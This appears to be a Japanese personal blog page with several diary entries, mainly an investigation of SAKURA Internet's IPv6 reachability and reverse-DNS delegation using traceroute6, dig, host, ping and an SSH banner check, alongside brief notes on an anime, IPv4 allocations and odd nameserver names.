　おもしろいから見てますよー。夫に無理矢理見せられてるのもあるけど。テレビ神奈川のアニメ
　『天体戦士サンレッド』。これおもしろいｗ
 テレビ神奈川は自ら放送済みのものをニコ動で流しているので何の問題もないです。
 テレビ神奈川偉い！
 ヴァンプさん最高です！！（人が良くて天然でお料理好きで世話好きなところが、どうしても
 友達のゲイの子とキャラがかぶるんですが…）ピーちゃんも好き。リーサル・ウェポンだけど
 一度発動すると充電に8時間かかるとことか(笑)

<以下省略。Archive参照>
---------------------------------
Power up the Internet with Yahoo! Toolbar.

ということで、OCNの中の人も、絶対にこのMLを見ている人がいるはずなので、即刻対応していただきたい。
エリアは、大阪市内のフレッツASDLをつかっているユーザですよ！

180/8       APNIC       2009-04       whois.apnic.net     ALLOCATED
183/8       APNIC       2009-04       whois.apnic.net     ALLOCATED

枯渇まで秒読みが始まっていますが、あと、いくつのブロックが見割り当てだったんでしたっけ。

ということで、割り当て一覧表です。

• Internet Protocol v4 Address Space
• IPv6 Global Unicast Allocations

いま、契約しているさくらのフレッツ接続の上流であるSAKURAインターネットが、IPv6のアドレス空間を複数持っているが、衰退しているようなので、調べてみた。

以前の日記に書いた 2007/8/16 [Internet] dns.sakura.ad.jp のIPv6にあるが、このときは、AAAAがついていたが、日記に書いた後しばらくして、AAAAが消えた。
以前記憶していたとき、ring.sakura.ad.jp / ftp,sakura.ad.jp はAAAAをかえし、到達性があったが。。。

現在調べてみると、まったく到達性が無いことがわかった。

$ traceroute6 gw.v6.sakura.ad.jp
11  2001:240:bb01:23::b (2001:240:bb01:23::b)  40.076 ms  38.731 ms  39.489 ms
12  tky001v6gw00.IIJ.Net (2001:240:bb41:9000::20)  41.047 ms  41.067 ms  39.677 ms
13  2001:240:1e:3005:250:45ff:fe00:8429 40.418 ms  40.395 ms  39.764 ms
14  2001:240:1e:3005:250:45ff:fe00:8429 40.564 ms  40.158 ms  40.065 ms

$ host gw.v6.sakura.ad.jp
gw.v6.sakura.ad.jp has address 210.224.172.140
gw.v6.sakura.ad.jp has IPv6 address 2001:240:1e:1::1

$ ping6 -c 1 gw.v6.sakura.ad.jp
PING gw.v6.sakura.ad.jp(gw.v6.sakura.ad.jp) 56 data bytes
From 2001:240:1e:3005:250:45ff:fe00:8429 icmp_seq=1 Time exceeded: Hop limit
--- gw.v6.sakura.ad.jp ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms

$ ping -c 1 gw.v6.sakura.ad.jp
PING gw.v6.sakura.ad.jp (210.224.172.140) 56(84) bytes of data.
--- gw.v6.sakura.ad.jp ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

次にDNSについて調べてみました。
以前使われていた、アドレスは逆引き設定がされているようですが、到達性はありません。
純粋に、gw.v6が置き換わり、defrouterの設定がされていないだけでしょうか。
それとも、やる気をなくして廃止されたのでしょうか。

$ host 2001:240:1e:1::1
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.e.1.0.0.0.4.2.0.1.0.0.2.ip6.arpa
    domain name pointer gw.v6.sakura.ad.jp.
$ host 2001:240:1e:1::3
3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.e.1.0.0.0.4.2.0.1.0.0.2.ip6.arpa
    domain name pointer giga-ftp.sakura.ad.jp.
$ host 2001:240:1e:1::5
5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.e.1.0.0.0.4.2.0.1.0.0.2.ip6.arpa
    domain name pointer www.sakura.ad.jp.
$ host 2001:240:1e:1::11
1.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.e.1.0.0.0.4.2.0.1.0.0.2.ip6.arpa
    domain name pointer mail.sakura.ad.jp.
$ host 2001:240:1e:1::14
4.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.e.1.0.0.0.4.2.0.1.0.0.2.ip6.arpa
    domain name pointer dns.sakura.ad.jp.
$ host 2001:e40:100:207::2
Host 2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.2.0.0.0.1.0.0.4.e.0.1.0.0.2.ip6.arpa
    not found: 3(NXDOMAIN)
$ host 2001:e40:100:207::2
Host 2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.2.0.0.0.1.0.0.4.e.0.1.0.0.2.ip6.arpa
    not found: 3(NXDOMAIN)

逆引きゾーンについては、しっかりと委譲されているように思います。

$ dig -x 2001:240:1e:1::1 ns +trace
2.0.1.0.0.2.ip6.arpa.   84600   IN      NS      ns4.apnic.net.
2.0.1.0.0.2.ip6.arpa.   84600   IN      NS      ns-sec.ripe.net.
2.0.1.0.0.2.ip6.arpa.   84600   IN      NS      tinnie.arin.net.
2.0.1.0.0.2.ip6.arpa.   84600   IN      NS      ns1.apnic.net.
2.0.1.0.0.2.ip6.arpa.   84600   IN      NS      ns3.apnic.net.
;; Received 205 bytes from 2001:dc0:2001:a:4608::59#53(SEC1.APNIC.NET) in 171 ms

0.4.2.0.1.0.0.2.ip6.arpa. 86400 IN      NS      ns6.iij.ad.jp.
0.4.2.0.1.0.0.2.ip6.arpa. 86400 IN      NS      ns7.iij.ad.jp.
;; Received 135 bytes from 2001:dc0:4001:1:0:1836:0:140#53(ns4.apnic.net) in 337 ms

e.1.0.0.0.4.2.0.1.0.0.2.ip6.arpa. 86400 IN NS   ns1.dns.ne.jp.
e.1.0.0.0.4.2.0.1.0.0.2.ip6.arpa. 86400 IN NS   ns2.dns.ne.jp.
;; Received 135 bytes from 2001:240:bb41:8002::1:17#53(ns6.iij.ad.jp) in 40 ms

e.1.0.0.0.4.2.0.1.0.0.2.ip6.arpa. 86400 IN SOA  dns.sakura.ad.jp. noc.sakura.ad.jp.
                                                2004071200 86400 14400 2952000 86400
;; Received 146 bytes from 210.188.224.9#53(ns1.dns.ne.jp) in 17 ms

$ dig -x 2001:e40:100:207::2 ns +trace
ip6.arpa.               172800  IN      NS      TINNIE.ARIN.NET.
ip6.arpa.               172800  IN      NS      NS.ICANN.ORG.
ip6.arpa.               172800  IN      NS      NS.LACNIC.NET.
ip6.arpa.               172800  IN      NS      SEC1.APNIC.NET.
ip6.arpa.               172800  IN      NS      NS-SEC.RIPE.NET.
;; Received 220 bytes from 192.112.36.4#53(g.root-servers.net) in 25 ms

0.4.e.0.1.0.0.2.ip6.arpa. 86400 IN      NS      ns1.dns.ne.jp.
0.4.e.0.1.0.0.2.ip6.arpa. 86400 IN      NS      ns2.dns.ne.jp.
;; Received 135 bytes from 2001:500:13::c7d4:35#53(TINNIE.ARIN.NET) in 233 ms

0.4.e.0.1.0.0.2.ip6.arpa. 86400 IN      SOA     dns.sakura.ad.jp. noc.sakura.ad.jp. 
                                                2008060801 86400 14400 2952000 86400
;; Received 146 bytes from 210.188.224.9#53(ns1.dns.ne.jp) in 23 ms

結果として、gw.v6.sakura.ad.jp は死んでいるようで…。

では、2001:240:1e:3005:250:45ff:fe00:8429 はどうだろうか。このIPアドレスはSAKURAの保有しているアドレスとなっているようで、応答がある。

$ telnet 2001:240:1e:3005:250:45ff:fe00:8429 22
Trying 2001:240:1e:3005:250:45ff:fe00:8429...
Connected to 2001:240:1e:3005:250:45ff:fe00:8429.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.5p1 FreeBSD-20030924

Protocol mismatch.
Connection closed by foreign host.

FreeBSDか。。。

一応つながっているようですが、、、次に、2004-01-30 にJPNICから割りうけている 2001:0E40::/32 についても調べてみたところ、 接続されていないようでした。何のためにこの空間を保有しているの？
接続されていました。

ntp1.sakura.ad.jp / 2001:e40:100:208::123

とりあえず、トンネル接続、データセンター接続をやっていないのか、問い合わせ中。
旗から見るとAAAAがはずされているなど、IPv6から手を引いているように見えてしまいました。 乞うご期待。

Janogではなんか、IPv6についてしゃべっていたとかそういう噂をききましたが、参加していないのでわかりません。
ていうか、参加したいけどできない。有給とってでも、一度ぐらいは参加してみたいけどねぇ。

ns1.system-security.jp
ns.ドンキ.jp
ns.インフォミラクル.jp
ns.ペット葬儀霊園.jp
ns.ペット葬儀情報.jp
ns.歯列矯正情報.jp
ns.歯列矯正ネット.jp
ns.質屋情報ネット.jp
ns.バイク便自転車便情報サービス.jp
ns.顔脱毛.jp
ns.青汁健康.jp
ns.質屋情報館.jp
ns.税理士情報.jp
ns.視力回復情報.jp
ns.有機野菜大好き.jp

なんか、すごいネーミングが多いなあ。。。

大久保 修一 氏
 
Tokyo6to4プロジェクト/さくらインターネット株式会社
　2003年4月 さくらインターネット(株)入社
　 バックボーンネットワーク(AS9370,AS9371)のオペレーションを担当。
　2009年9月 Tokyo6to4プロジェクトに参加
　 リレールータ動作検証などを中心にプロジェクト立ち上げに関わる。
　 現在、ピアリング設定などを担当。 

ちょっ。2009年9月。。未来！？

しらなかった。
そして、Tokyo6to4を見た限りでは発起人には名前が入っていなかったので、今年の9月には名前が載るのかしら。。

さくらインターネットのIPv6対応状況を調べていたら、発見したネタでした。

大阪方面のSAKURAはいまだに経路来ないんだよね。。